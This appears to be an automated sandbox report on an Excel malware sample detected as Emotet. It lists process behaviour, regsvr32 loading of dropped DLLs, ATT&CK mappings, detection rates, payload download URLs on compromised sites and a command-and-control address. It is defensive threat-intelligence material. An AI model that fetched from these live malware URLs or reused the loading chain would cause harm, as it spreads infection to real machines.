Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	7_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	9_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	11_2_000000018000BEF0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16381
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16530
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 0000000A.00000002.950666041.0000000000228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RomNECVMWar_VMware_SATA_CD01_______________1.00___
Source: regsvr32.exe, 00000008.00000002.943436564.000000000038A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7533280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF7533280
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF753BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF753BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000007FEF74D3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_000007FEF74D3280
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000007FEF74DBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_000007FEF74DBE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000007FEF70CBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_000007FEF70CBE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000007FEF70C3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_000007FEF70C3280

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 165.22.73.229 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\Ejpzh\qlDqXeGagKnBKzd.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FiPeSYwmr\Wuiko.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PLVmoWLosZJQb\bTjwWDTWvnC.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 10.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.300000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1219777301.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1218923490.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.935437838.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.950850615.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.935123835.00000000003E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.944087304.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1219645231.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1218912030.0000000000150000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1218942103.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.951348566.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926422500.0000000000300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943168453.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1218930467.0000000000220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1219706572.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	13 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	22 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	16 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DETAILS 25922194612.xls	41%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr3.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr4.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	61%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr1.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr2.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr3.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr4.ocx	29%	Metadefender		Browse
C:\Users\user\uxevr4.ocx	61%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\Ejpzh\qlDqXeGagKnBKzd.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\FiPeSYwmr\Wuiko.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\KuSAkvGE\rWFJGQNl.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)	29%	Metadefender		Browse
C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)	61%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.regsvr32.exe.300000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
11.2.regsvr32.exe.220000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
10.2.regsvr32.exe.2c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
7.2.regsvr32.exe.2c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
8.2.regsvr32.exe.2d0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
9.2.regsvr32.exe.150000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
4.2.regsvr32.exe.1d0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
5.2.regsvr32.exe.3e0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File

Domains

Source	Detection	Scanner	Link
kolejleri.com	12%	Virustotal	Browse
milanstaffing.com	7%	Virustotal	Browse
learnviaonline.com	9%	Virustotal	Browse
stainedglassexpress.com	5%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://learnviaonline.com/wp-admin/qGb/	100%	Avira URL Cloud	malware
https://165.22.73.229:8080/.t	0%	Avira URL Cloud	safe
https://165.22.73.229:8080/L	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://milanstaffing.com/images/D4TRnDubF/	100%	Avira URL Cloud	malware
https://165.22.73.229:8080/h	0%	Avira URL Cloud	safe
https://165.22.73.229/l	0%	Avira URL Cloud	safe
http://kolejleri.com/wp-admin/REvup/	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://165.22.73.229:8080/	0%	Avira URL Cloud	safe
https://165.22.73.229/	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://165.22.73.229/5v	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://165.22.73.229/KP	0%	Avira URL Cloud	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://165.22.73.229/=v	0%	Avira URL Cloud	safe
https://165.22.73.229:8080/1o	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kolejleri.com	85.114.142.153	true	true	12%, Virustotal, Browse	unknown
milanstaffing.com	107.189.3.39	true	false	7%, Virustotal, Browse	unknown
learnviaonline.com	103.171.181.223	true	false	9%, Virustotal, Browse	unknown
stainedglassexpress.com	66.71.247.68	true	false	5%, Virustotal, Browse	unknown
windowsupdatebg.s.llnwi.net	95.140.230.192	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://learnviaonline.com/wp-admin/qGb/	true	Avira URL Cloud: malware	unknown
http://milanstaffing.com/images/D4TRnDubF/	true	Avira URL Cloud: malware	unknown
http://kolejleri.com/wp-admin/REvup/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://165.22.73.229:8080/.t	regsvr32.exe, 00000004.00000003.988822373.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://165.22.73.229:8080/L	regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://165.22.73.229:8080/h	regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://165.22.73.229/l	regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://165.22.73.229:8080/	regsvr32.exe, 00000004.00000003.988822373.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219537564.0000000002CC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://165.22.73.229/	regsvr32.exe, 00000004.00000002.1219237595.0000000000361000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219187655.00000000004B2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219537564.0000000002CC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://165.22.73.229/5v	regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://165.22.73.229/KP	regsvr32.exe, 0000000B.00000002.1219537564.0000000002CC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1219527866.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://165.22.73.229/=v	regsvr32.exe, 00000007.00000002.1219152991.000000000040E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://165.22.73.229:8080/1o	regsvr32.exe, 0000000B.00000002.1219557119.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1219543284.0000000002EF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1219500540.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1219513753.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1219576591.0000000002CF9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.114.142.153	kolejleri.com	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	true
103.171.181.223	learnviaonline.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
107.189.3.39	milanstaffing.com	United States	53667	PONYNETUS	false
165.22.73.229	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
66.71.247.68	stainedglassexpress.com	United States	46562	TOTAL-SERVER-SOLUTIONSUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632071
Start date and time: 23/05/202209:09:54	2022-05-23 09:09:54 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DETAILS 25922194612.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@18/18@5/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 57.8% (good quality ratio 31%) Quality average: 32.8% Quality standard deviation: 37.5%
HCA Information:	Successful, ratio: 95% Number of executed functions: 37 Number of non-executed functions: 252
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210, 95.140.230.192
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:10:28	API Interceptor	3713x Sleep call for process: regsvr32.exe modified
09:10:30	API Interceptor	443x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
85.114.142.153	documento_2005.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
	Lkd_2005.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
	SCAN_89357809.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
103.171.181.223	documento_2005.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
	Lkd_2005.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
